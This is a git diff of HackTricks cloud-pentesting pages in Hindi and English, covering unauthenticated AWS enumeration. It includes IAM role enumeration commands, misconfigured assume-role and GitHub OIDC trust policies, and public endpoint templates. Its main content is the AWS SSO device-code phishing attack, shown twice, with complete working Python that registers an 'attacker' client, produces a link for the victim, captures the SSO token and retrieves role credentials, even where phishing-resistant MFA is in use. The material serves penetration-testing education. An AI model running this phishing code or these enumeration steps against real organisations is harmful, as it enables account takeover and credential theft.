+- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
+
+या [Pacu](https://github.com/RhinoSecurityLabs/pacu) का उपयोग करके:
+
+- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
+- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
+- उदाहरण के लिए उपयोग किया गया `admin` role **आपके खाते का वह role है जिसे pacu द्वारा impersonate किया जाता है** ताकि यह enumeration के लिए आवश्यक policies बना सके
+
+### Privesc
+
+यदि role गलत तरीके से कॉन्फ़िगर किया गया है और किसी को भी इसे assume करने की अनुमति देता है:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+हमलावर बस इसे ग्रहण कर सकता है।
+
+## तृतीय-पक्ष OIDC Federation
+
+कल्पना कीजिए कि आप किसी **Github Actions workflow** को पढ़ने में सक्षम हो जाते हैं जो **AWS** के अंदर एक **role** तक पहुँच रहा है.\\
+यह ट्रस्ट निम्नलिखित **trust policy** के साथ एक role तक पहुँच दे सकता है:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+यह trust policy सही हो सकती है, लेकिन **अधिक शर्तों की कमी** आपको इसे अविश्वसनीय समझने के लिए प्रेरित करनी चाहिए.\
+यह इसलिए है कि पिछला role **Github Actions से कोई भी** assume कर सकता है! आपको conditions में org name, repo name, env, brach... जैसी अन्य चीज़ें भी specify करनी चाहिए...
+
+एक और संभावित misconfiguration यह है कि आप निम्नलिखित जैसी **एक शर्त जोड़ दें**:
+```json
+"StringLike": {
+"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
+}
+```
+ध्यान दें कि **wildcard** (\*) **कोलन** (:) से पहले है। आप **org_name1** जैसे एक org बना सकते हैं और Github Action से **assume the role** कर सकते हैं।
+
+## संदर्भ
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
deleted file mode 100644
index 658c90cb3..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+++ /dev/null
@@ -1,123 +0,0 @@
-# AWS - Identity Center & SSO Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AWS डिवाइस कोड फ़िशिंग
-
-शुरुआत में [**इस ब्लॉग पोस्ट**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) में प्रस्तावित, यह संभव है कि एक **लिंक** को AWS SSO का उपयोग करते हुए एक उपयोगकर्ता को भेजा जाए, यदि **उपयोगकर्ता स्वीकार करता है** तो हमलावर को **उपयोगकर्ता का अनुकरण करने के लिए एक टोकन प्राप्त होगा** और वह सभी भूमिकाओं तक पहुँच प्राप्त कर सकेगा जिन तक उपयोगकर्ता पहुँच सकता है **Identity Center** में।
-
-इस हमले को करने के लिए आवश्यकताएँ हैं:
-
-- पीड़ित को **Identity Center** का उपयोग करना होगा
-- हमलावर को पीड़ित द्वारा उपयोग किए जाने वाले **सबडोमेन** का पता होना चाहिए `.awsapps.com/start`
-
-सिर्फ पिछले जानकारी के साथ, **हमलावर उपयोगकर्ता को एक लिंक भेजने में सक्षम होगा** जो यदि **स्वीकृत** किया गया तो **हमलावर को AWS उपयोगकर्ता** खाते पर पहुँच प्रदान करेगा।
-
-### हमला
-
-1. **सबडोमेन खोजना**
-
-हमलावर का पहला कदम यह पता लगाना है कि पीड़ित कंपनी अपने Identity Center में कौन सा सबडोमेन उपयोग कर रही है। यह **OSINT** या **अनुमान + BF** के माध्यम से किया जा सकता है क्योंकि अधिकांश कंपनियाँ यहाँ अपने नाम या उनके नाम का एक भिन्न रूप उपयोग कर रही होंगी।
-
-इस जानकारी के साथ, यह संभव है कि उस क्षेत्र को प्राप्त किया जा सके जहाँ Identity Center को कॉन्फ़िगर किया गया था:
-```bash
-curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
-"region":"us-east-1
-```
-2. **शिकार के लिए लिंक उत्पन्न करें और इसे भेजें**
-
-AWS SSO लॉगिन लिंक उत्पन्न करने के लिए निम्नलिखित कोड चलाएँ ताकि शिकारकर्ता प्रमाणीकरण कर सके।\
-डेमो के लिए, इस कोड को एक पायथन कंसोल में चलाएँ और इसे बंद न करें क्योंकि बाद में आपको टोकन प्राप्त करने के लिए कुछ ऑब्जेक्ट्स की आवश्यकता होगी:
-```python
-import boto3
-
-REGION = 'us-east-1' # CHANGE THIS
-AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
-
-sso_oidc = boto3.client('sso-oidc', region_name=REGION)
-client = sso_oidc.register_client(
-clientName = 'attacker',
-clientType = 'public'
-)
-
-client_id = client.get('clientId')
-client_secret = client.get('clientSecret')
-authz = sso_oidc.start_device_authorization(
-clientId=client_id,
-clientSecret=client_secret,
-startUrl=AWS_SSO_START_URL
-)
-
-url = authz.get('verificationUriComplete')
-deviceCode = authz.get('deviceCode')
-print("Give this URL to the victim: " + url)
-```
-शिकार को लिंक भेजें अपनी शानदार सोशल इंजीनियरिंग कौशल का उपयोग करते हुए!
-
-3. **शिकार के स्वीकार करने की प्रतीक्षा करें**
-
-यदि शिकार **पहले से AWS में लॉग इन था** तो उसे केवल अनुमतियाँ देने के लिए स्वीकार करना होगा, यदि वह नहीं था, तो उसे **लॉग इन करना होगा और फिर अनुमतियाँ देने के लिए स्वीकार करना होगा**।\
-यहाँ प्रॉम्प्ट आजकल कैसा दिखता है:
-
-

-
-4. **SSO एक्सेस टोकन प्राप्त करें**
-
-यदि शिकार ने प्रॉम्प्ट स्वीकार कर लिया, तो इस कोड को चलाएँ ताकि **उपयोगकर्ता का अनुकरण करते हुए SSO टोकन उत्पन्न किया जा सके**:
-```python
-token_response = sso_oidc.create_token(
-clientId=client_id,
-clientSecret=client_secret,
-grantType="urn:ietf:params:oauth:grant-type:device_code",
-deviceCode=deviceCode
-)
-sso_token = token_response.get('accessToken')
-```
-SSO एक्सेस टोकन **8 घंटे के लिए मान्य है**।
-
-5. **उपयोगकर्ता का अनुकरण करें**
-```python
-sso_client = boto3.client('sso', region_name=REGION)
-
-# List accounts where the user has access
-aws_accounts_response = sso_client.list_accounts(
-accessToken=sso_token,
-maxResults=100
-)
-aws_accounts_response.get('accountList', [])
-
-# Get roles inside an account
-roles_response = sso_client.list_account_roles(
-accessToken=sso_token,
-accountId=
-)
-roles_response.get('roleList', [])
-
-# Get credentials over a role
-
-sts_creds = sso_client.get_role_credentials(
-accessToken=sso_token,
-roleName=,
-accountId=
-)
-sts_creds.get('roleCredentials')
-```
-### Phishing the unphisable MFA
-
-यह जानकर मज़ा आता है कि पिछला हमला **काम करता है भले ही "unphisable MFA" (webAuth) का उपयोग किया जा रहा हो**। इसका कारण यह है कि पिछला **कार्यप्रवाह उपयोग किए गए OAuth डोमेन को कभी नहीं छोड़ता**। अन्य फ़िशिंग हमलों की तरह नहीं जहां उपयोगकर्ता को लॉगिन डोमेन को प्रतिस्थापित करना पड़ता है, इस मामले में डिवाइस कोड कार्यप्रवाह इस तरह से तैयार किया गया है कि **कोड एक डिवाइस द्वारा जाना जाता है** और उपयोगकर्ता एक अलग मशीन में भी लॉगिन कर सकता है। यदि प्रॉम्प्ट को स्वीकार किया जाता है, तो डिवाइस, केवल **प्रारंभिक कोड को जानकर**, उपयोगकर्ता के लिए **क्रेडेंशियल्स पुनः प्राप्त करने में सक्षम होगा**।
-
-इस बारे में अधिक जानकारी के लिए [**इस पोस्ट को देखें**](https://mjg59.dreamwidth.org/62175.html)।
-
-### Automatic Tools
-
-- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
-- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
-
-## References
-
-- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
-- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
-- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
-- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
new file mode 100644
index 000000000..299dce7a6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
@@ -0,0 +1,123 @@
+# AWS - Identity Center & SSO Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS Device Code Phishing
+
+Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**.
+
+इस हमले को करने के लिए आवश्यक शर्तें हैं:
+
+- पीड़ित को **Identity Center** का उपयोग करना होगा
+- attacker को पीड़ित द्वारा उपयोग किया गया **subdomain** पता होना चाहिए `.awsapps.com/start`
+
+सिर्फ़ इन जानकारियों से, **attacker user को एक link भेज सकेगा** जिसे अगर **स्वीकार कर लिया गया** तो **attacker को AWS user** अकाउंट पर पहुँच मिल जाएगी।
+
+### Attack
+
+1. **Finding the subdomain**
+
+पहला कदम attacker के लिए यह पता लगाना है कि victim कंपनी अपने Identity Center में कौन सा subdomain उपयोग कर रही है। यह **OSINT** या **guessing + BF** के जरिए किया जा सकता है क्योंकि अधिकांश कंपनियाँ यहाँ अपना नाम या उसके किसी रूप का उपयोग करती हैं।
+
+इन जानकारियों के साथ, उस region को पता करना संभव होता है जहाँ Identity Center कॉन्फ़िगर किया गया था:
+```bash
+curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
+"region":"us-east-1
+```
+2. **लक्षित के लिए लिंक जनरेट करें & भेजें**
+
+निम्नलिखित कोड चलाकर AWS SSO login link जनरेट करें ताकि पीड़ित authenticate कर सके.\  
+डेमो के लिए, यह कोड python console में चलाएँ और इसे बंद न करें क्योंकि बाद में आपको token प्राप्त करने के लिए कुछ objects की आवश्यकता होगी:
+```python
+import boto3
+
+REGION = 'us-east-1' # CHANGE THIS
+AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
+
+sso_oidc = boto3.client('sso-oidc', region_name=REGION)
+client = sso_oidc.register_client(
+clientName = 'attacker',
+clientType = 'public'
+)
+
+client_id = client.get('clientId')
+client_secret = client.get('clientSecret')
+authz = sso_oidc.start_device_authorization(
+clientId=client_id,
+clientSecret=client_secret,
+startUrl=AWS_SSO_START_URL
+)
+
+url = authz.get('verificationUriComplete')
+deviceCode = authz.get('deviceCode')
+print("Give this URL to the victim: " + url)
+```
+जनरेट किया गया लिंक victim को अपने शानदार social engineering कौशल का उपयोग करके भेजें!
+
+3. **जब तक victim इसे स्वीकार न कर ले, प्रतीक्षा करें**
+
+यदि victim पहले से **AWS में logged in** था, तो उसे केवल permissions देने को स्वीकार करना होगा; यदि वह logged in नहीं था, तो उसे पहले **login** करना होगा और फिर permissions देने को स्वीकार करना होगा.\
+यहाँ आजकल का prompt इस तरह दिखता है:
+
+

+
+4. **SSO access token प्राप्त करें**
+
+यदि victim ने prompt स्वीकार कर लिया है, तो इस कोड को चलाएँ ताकि **user की नकल करके एक SSO token generate किया जा सके**:
+```python
+token_response = sso_oidc.create_token(
+clientId=client_id,
+clientSecret=client_secret,
+grantType="urn:ietf:params:oauth:grant-type:device_code",
+deviceCode=deviceCode
+)
+sso_token = token_response.get('accessToken')
+```
+SSO access token **8h के लिए मान्य है**।
+
+5. **उपयोगकर्ता की नकल करें**
+```python
+sso_client = boto3.client('sso', region_name=REGION)
+
+# List accounts where the user has access
+aws_accounts_response = sso_client.list_accounts(
+accessToken=sso_token,
+maxResults=100
+)
+aws_accounts_response.get('accountList', [])
+
+# Get roles inside an account
+roles_response = sso_client.list_account_roles(
+accessToken=sso_token,
+accountId=
+)
+roles_response.get('roleList', [])
+
+# Get credentials over a role
+
+sts_creds = sso_client.get_role_credentials(
+accessToken=sso_token,
+roleName=,
+accountId=
+)
+sts_creds.get('roleCredentials')
+```
+### Phishing the unphisable MFA
+
+यह जानकर मज़ा आता है कि पिछला हमला **काम करता है भले ही "unphisable MFA" (webAuth) उपयोग किया गया हो**। इसका कारण यह है कि पिछला **workflow कभी भी उपयोग किए गए OAuth domain से बाहर नहीं जाता**। अन्य phishing हमलों की तरह जहाँ उपयोगकर्ता को login domain को बदलना पड़ता है, इस मामले में device code workflow इस तरह तैयार किया जाता है कि एक **code किसी device द्वारा जाना जाता है** और उपयोगकर्ता किसी अलग मशीन पर भी login कर सकता है। यदि prompt स्वीकार कर लिया गया, तो device, केवल **initial code को जानकर**, उपयोगकर्ता के लिए **credentials प्राप्त** करने में सक्षम होगा।
+
+For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html).
+
+### स्वचालित टूल
+
+- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
+- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
+
+## संदर्भ
+
+- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
+- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
+- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
+- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
similarity index 60%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
index ea5fa4d85..f7a3648a8 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
@@ -1,6 +1,6 @@
-# AWS - IoT अनधिकृत Enum
+# AWS - IoT Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### सार्वजनिक URL टेम्पलेट
 ```
@@ -8,4 +8,4 @@ mqtt://{random_id}.iot.{region}.amazonaws.com:8883
 https://{random_id}.iot.{region}.amazonaws.com:8443
 https://{random_id}.iot.{region}.amazonaws.com:443
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
similarity index 60%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
index ac2111dd1..d13dd8d21 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
@@ -1,9 +1,9 @@
 # AWS - Kinesis Video Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### सार्वजनिक URL टेम्पलेट
 ```
 https://{random_id}.kinesisvideo.{region}.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
deleted file mode 100644
index 450c71e83..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - Lambda Unauthenticated Access
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## सार्वजनिक फ़ंक्शन URL
-
-यह संभव है कि एक **Lambda** को एक **सार्वजनिक फ़ंक्शन URL** से जोड़ा जाए जिसे कोई भी एक्सेस कर सकता है। इसमें वेब कमजोरियाँ हो सकती हैं।
-
-### सार्वजनिक URL टेम्पलेट
-```
-https://{random_id}.lambda-url.{region}.on.aws/
-```
-### सार्वजनिक Lambda URL से खाता आईडी प्राप्त करें
-
-S3 बकेट, डेटा एक्सचेंज और API गेटवे की तरह, एक सार्वजनिक लैम्ब्डा URL से **`aws:ResourceAccount`** **नीति स्थिति कुंजी** का दुरुपयोग करके एक खाते की खाता आईडी ढूंढना संभव है। यह नीति के **`aws:ResourceAccount`** अनुभाग में वाइल्डकार्ड का दुरुपयोग करके एक बार में एक अक्षर में खाता आईडी खोजकर किया जाता है।\
-यह तकनीक आपको **टैग के मान** प्राप्त करने की भी अनुमति देती है यदि आप टैग कुंजी जानते हैं (कुछ डिफ़ॉल्ट दिलचस्प हैं)।
-
-आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
new file mode 100644
index 000000000..84b945004
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
@@ -0,0 +1,20 @@
+# AWS - Lambda Unauthenticated Access
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Public Function URL
+
+यह संभव है कि एक **Lambda** को एक **public function URL** से जोड़ा जाए जिसे कोई भी एक्सेस कर सकता है। इसमें web vulnerabilities हो सकती हैं।
+
+### Public URL template
+```
+https://{random_id}.lambda-url.{region}.on.aws/
+```
+### सार्वजनिक Lambda URL से Account ID प्राप्त करें
+
+S3 buckets, Data Exchange और API gateways की तरह, किसी सार्वजनिक Lambda URL से **`aws:ResourceAccount`** **Policy Condition Key** का दुरुपयोग करके किसी खाते का Account ID पता करना संभव है। यह policy के **`aws:ResourceAccount`** सेक्शन में wildcards का दुरुपयोग करके Account ID को एक-एक कर कैरेक्टर ढूँढकर किया जाता है।\
+यह तकनीक यदि आप tag key जानते हैं तो **values of tags** भी प्राप्त करने की अनुमति देती है (कुछ डिफ़ॉल्ट रोचक ones होते हैं)।
+
+You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
similarity index 62%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
index 3058d7eb9..710f6c755 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
@@ -1,6 +1,6 @@
-# AWS - मीडिया अनधिकृत ENUM
+# AWS - Media Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### सार्वजनिक URL टेम्पलेट
 ```
@@ -8,4 +8,4 @@ https://{random_id}.mediaconvert.{region}.amazonaws.com
 https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
 https://{random_id}.data.mediastore.{region}.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
deleted file mode 100644
index c03664a28..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# AWS - MQ Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Public Port
-
-### **RabbitMQ**
-
-**RabbitMQ** के मामले में, **डिफ़ॉल्ट सार्वजनिक पहुंच** और ssl सक्षम हैं। लेकिन आपको पहुंच के लिए **क्रेडेंशियल्स** की आवश्यकता है (`amqps://.mq.us-east-1.amazonaws.com:5671`​​)। इसके अलावा, यदि आप `https://b-.mq.us-east-1.amazonaws.com/` में क्रेडेंशियल्स जानते हैं तो **वेब प्रबंधन कंसोल** तक पहुंचना संभव है।
-
-### ActiveMQ
-
-**ActiveMQ** के मामले में, डिफ़ॉल्ट सार्वजनिक पहुंच और ssl सक्षम हैं, लेकिन आपको पहुंच के लिए क्रेडेंशियल्स की आवश्यकता है।
-
-### Public URL template
-```
-https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
-ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
new file mode 100644
index 000000000..d86a65481
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
@@ -0,0 +1,20 @@
+# AWS - MQ Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## सार्वजनिक पोर्ट
+
+### **RabbitMQ**
+
+**RabbitMQ** के मामले में, डिफ़ॉल्ट रूप से **public access** और ssl सक्षम होते हैं। लेकिन access करने के लिए आपको **credentials** की आवश्यकता होती है (`amqps://.mq.us-east-1.amazonaws.com:5671`)। इसके अलावा, यदि आपको **credentials** पता हों तो आप वेब management console में access कर सकते हैं (`https://b-.mq.us-east-1.amazonaws.com/`)।
+
+### ActiveMQ
+
+**ActiveMQ** के मामले में भी, डिफ़ॉल्ट रूप से public access और ssl सक्षम होते हैं, लेकिन access करने के लिए आपको **credentials** चाहिए।
+
+### सार्वजनिक URL टेम्पलेट
+```
+https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
+ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
deleted file mode 100644
index 9d086d704..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - MSK Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### सार्वजनिक पोर्ट
-
-यह **Kafka ब्रोकर को सार्वजनिक रूप से उजागर करना संभव है**, लेकिन आपको **प्रमाण पत्र**, IAM अनुमतियाँ या एक मान्य प्रमाणपत्र की आवश्यकता होगी (कॉन्फ़िगर की गई प्रमाणीकरण विधि के आधार पर)।
-
-यह भी **प्रमाणीकरण को निष्क्रिय करना संभव है**, लेकिन उस मामले में **इंटरनेट पर सीधे पोर्ट को उजागर करना संभव नहीं है**।
-
-### सार्वजनिक URL टेम्पलेट
-```
-b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
-{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..981d71b07
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
@@ -0,0 +1,16 @@
+# AWS - MSK Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### सार्वजनिक पोर्ट
+
+यह संभव है कि **Kafka broker को सार्वजनिक रूप से एक्सपोज़ किया जाए**, लेकिन इसके लिए आपको **credentials**, IAM permissions या एक valid certificate की आवश्यकता होगी (configured auth method के आधार पर)।
+
+यह भी **authentication को disabled करना संभव है**, लेकिन उस स्थिति में **पोर्ट को सीधे इंटरनेट पर एक्सपोज़ करना संभव नहीं है**।
+
+### सार्वजनिक URL टेम्पलेट
+```
+b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
+{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
similarity index 51%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
index 00a8219c9..6062ba585 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
@@ -1,22 +1,22 @@
-# AWS - RDS अनधिकृत ENUM
+# AWS - RDS Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
 अधिक जानकारी के लिए देखें:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ## सार्वजनिक पोर्ट
 
-यह **इंटरनेट से डेटाबेस** तक सार्वजनिक पहुंच देने की संभावना है। हमलावर को **उपयोगकर्ता नाम और पासवर्ड,** IAM पहुंच, या डेटाबेस में प्रवेश करने के लिए एक **शोषण** जानना होगा।
+इंटरनेट से **डेटाबेस को सार्वजनिक एक्सेस** देना संभव है। अटैकर को डेटाबेस में प्रवेश करने के लिए फिर भी **यूज़रनेम और पासवर्ड जानना,** IAM access, या किसी **exploit** की आवश्यकता होगी।
 
-## सार्वजनिक RDS स्नैपशॉट
+## सार्वजनिक RDS Snapshots
 
-AWS **किसी को भी RDS स्नैपशॉट डाउनलोड करने की अनुमति** देता है। आप अपने खाते से इन सार्वजनिक RDS स्नैपशॉट को बहुत आसानी से सूचीबद्ध कर सकते हैं:
+AWS किसी को भी **RDS snapshots डाउनलोड करने की पहुँच** दे सकता है। आप अपने अकाउंट से इन सार्वजनिक RDS snapshots को बहुत आसानी से सूचीबद्ध कर सकते हैं:
 ```bash
 # Public RDS snapshots
 aws rds describe-db-snapshots --include-public
@@ -37,4 +37,4 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
 mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
 ```
-{{#include ../../../banners/hacktricks-training.md}}
